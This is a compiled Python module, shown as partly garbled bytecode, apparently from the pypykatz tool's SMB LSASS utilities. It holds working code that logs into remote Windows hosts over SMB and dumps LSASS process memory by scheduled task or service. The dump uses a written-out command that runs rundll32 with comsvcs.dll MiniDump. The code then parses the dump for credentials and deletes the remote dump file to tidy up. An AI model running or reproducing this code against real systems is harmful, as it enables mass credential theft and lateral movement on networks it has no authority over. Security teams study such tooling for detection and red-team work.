o
    jV                     @   s   d dl Z d dlZd dlZd dlmZmZmZ dddZd dlm	Z	 dgdfdd	Z
d
ddddgg dfddZd
ddddgfddZdS )    N)SMBFileEnumListTargetGenFileTargetGenc                    s(    fddt D }tj|d|iS )aV  Returns an iterator yielding `n` elements at a time.
	:param n: the number of elements to return at each iteration
	:param iterable: the iterable over which to iterate
	:param fillvalue: the value to use for missing elements
	:Example:
	>>> for (a,b,c) in natatime(3, [1,2,3,4,5], fillvalue = "?"):
		...   print a, b, c
		...
	1 2 3
	4 5 ?
	c                 3   s     | ]}t  |d V  qd S N)	itertoolsislice).0iiterablen /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/pypykatz/smb/lsassutils.py	<genexpr>   s    znatatime.<locals>.<genexpr>	fillvalue)ranger   zip_longest)r   r   r   stepped_slicesr   r
   r   natatime   s   r   )loggeralli   c              	      s  ddl m} ddlm} ddlm} || }| }| }|4 I d H W t	
d | I d H \}	}
|
d ur;|
t	
d t	
d ||I d H \}	}
|
d urU|
t	
d t	
d	 |j||||d
I d H }t	
d |W  d   I d H  S 1 I d H sw   Y  d S )Nr   SMBConnectionFactorySMBFileReader	apypykatzz#[LSASSFILE] Connecting to server...z[LSASSFILE] Connected!z&[LSASSFILE] Opening LSASS dump file...z[LSASSFILE] LSASS file opened!z![LSASSFILE] parsing LSASS file...	chunksizepackagesz![LSASSFILE] LSASS file parsed OK!)!aiosmb.commons.connection.factoryr   pypykatz.alsadecryptor.asbmfiler   pypykatz.apypykatzr   from_urlget_connectionget_filer   debugloginopenparse_minidump_external)urlr   r   r   r   r   smburl
connectionsmbfile_errmimir   r   r   	lsassfile   s.   






0r1   taskzC:\Windows\Temp\z\c$\Windows\Temp\   c                 C  s  ddl m} d }	d }
g }g }g }|d urOt|dkrOg }|d urO|D ]}zt|d}|  |t| W q#   || Y q#t|dkrO|t| t| |r[| }	| 	 }
n	|
| }	|		 }
t|
j |
|||||d}|| |D ]A}| 2 z93 d H W \}}}|	|}t|j ||||||d}|| t||krtj| I d H }|D ]}|V  qg }q6 qyt|dkrtj| I d H }|D ]}|V  qg }d S d S )Nr   r   r)methodremote_base_pathremote_share_namer   r   )r    r   lenr(   closeappendr   r   
isinstancer$   r#   lsassdump_singletargetget_hostname_or_ipgeneratecreate_connection_newtargetasynciogather)r*   r5   r6   r7   r   r   targets
worker_cntr   base_url	base_connmimisworkerstgensnotfiler=   flsassdump_corotgenr.   r/   tconntresresr   r   r   	lsassdump4   sx   




	

	rQ   c              
      s  zTddl m} ddlm} ddlm}	 ddlm}
 ddlm	} ddl
m} |dd	u r2|d7 }|dd	u r=|d7 }d
td td f }|| }|| }|dkrbd|}|g}n|dkrid}ntd| d }|4 I d H  td|   | I d H \}}|d ur|td|   |	|4 I d H O}|dkrtd|   | I d H \}}|d ur||
|}n%|dkrtd|   | I d H \}}|d ur||
|}ntd| W d   I d H  n1 I d H sw   Y  td|   td|   |j|||dI d H }td|   td|   | I d H \}}|d ur5td| |f  ntd|   W d   I d H  n1 I d H sLw   Y  | |d fW S  tyv } zdd l}|  | d |fW  Y d }~S d }~ww )Nr   )SMBException)NTStatus)
SMBMachiner   )SMBFiler   \Fz%s.%sr3      r2   zfor /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B {} fullservice zUnknown execution method %sz'[LSASSDUMP][%s] Connecting to server...z[LSASSDUMP][%s] Connected!z9[LSASSDUMP][%s] Start dumping LSASS with taskexec method!z<[LSASSDUMP][%s] Start dumping LSASS with serviceexec method!z'[LSASSDUMP][%s] LSASS dump file opened!z=[LSASSDUMP][%s] parsing LSASS dump file on the remote host...r   z[LSASSDUMP][%s] parsing OK!z,[LSASSDUMP][%s] Deleting remote dump file...z,[%s] Failed to delete LSASS file! Reason: %sz"[%s] Remote LSASS file deleted OK!)aiosmb.commons.exceptionsrR   aiosmb.wintypes.ntstatusrS   !aiosmb.commons.interfaces.machinerT   r!   r   aiosmb.commons.interfaces.filerU   r"   r   endswithosurandomhexformat	Exceptionr   r&   r'   task_dump_lsassservice_dump_lsassr)   deleteprint	traceback	print_exc)targetidr,   r5   r6   r7   r   r   rR   rS   rT   r   rU   r   fnamefilepathfilesharepathcmdcommandsr0   r.   r/   machinesmbfile_innerr-   erh   r   r   r   r<   v   sz    


(.
*@r<   r   )rA   r_   r   aiosmb.examples.smbshareenumr   r   r   r   pypykatzr   r1   rQ   r<   r   r   r   r   <module>   s    
B